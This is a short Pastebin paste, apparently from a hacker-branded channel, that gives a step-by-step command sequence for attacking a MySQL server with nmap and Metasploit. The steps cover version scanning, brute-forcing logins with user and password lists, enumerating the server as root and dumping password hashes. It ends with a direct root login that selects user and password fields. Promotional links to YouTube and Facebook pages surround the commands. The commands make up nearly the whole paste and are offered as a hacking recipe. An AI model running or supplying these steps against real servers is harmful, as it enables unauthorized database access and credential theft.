Advertisement
Professional-hacker

Hacking MySQL Server using Metasploit

Jan 11th, 2017
1,074
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.41 KB | None | 0 0
  1. ##################################################JokerSecurity###############################################################
  2. # Title : Hacking MySQL Server using Metasploit
  3. # Tested On : [ Kali-Linux ]
  4. # MyChannel Youtube : https://www.youtube.com/channel/UCPRRAzu8dMWxChn-RruC-eg/videos
  5. # Myblog : http://kader-information.blogspot.com/
  6. # Link Video : https://www.youtube.com/watch?v=OhpHun0NYyg&t=5s
  7. ######################
  8. # [+] COMMENDS :
  9. ######################
  10. nmap 192.168.1.5
  11. service postgresql start
  12. service metasploit start
  13. msfconsole
  14. search mysql
  15. use auxiliary/scanner/mysql/mysql_version
  16. info
  17. set RHOSTS 192.168.1.5
  18. run
  19. use auxiliary/scanner/mysql/mysql_login
  20. set USER_FILE
  21. set PASS_FILE
  22. set RHOSTS 192.168.1.5
  23. run
  24. use auxiliary/admin/mysql/mysql_enum
  25. set RHOST 192.168.1.5
  26. set USERNAME root
  27. run
  28. use auxiliary/scanner/mysql/mysql_hashdump
  29. set USERNAME root
  30. set RHOSTS 192.168.1.5
  31. run
  32. quit
  33.  
  34. mysql -h 192.168.1.5 -u root -p
  35. show databases;
  36. use mysql
  37. show tables;
  38. select User, Password from user;
  39.  
  40. subscribe for my channel and page in facebook
  41.  
  42. # My Blogger : http://kader-information.blogspot.com/
  43.  
  44. # Page FacebOOk : https://www.facebook.com/AnonymousPalestine.vip
  45. # Page Facebook : https://www.facebook.com/Professional.hacker.25/
  46.  
  47. By <3
  48.  
  49. ##################################################JokerSecurity###############################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement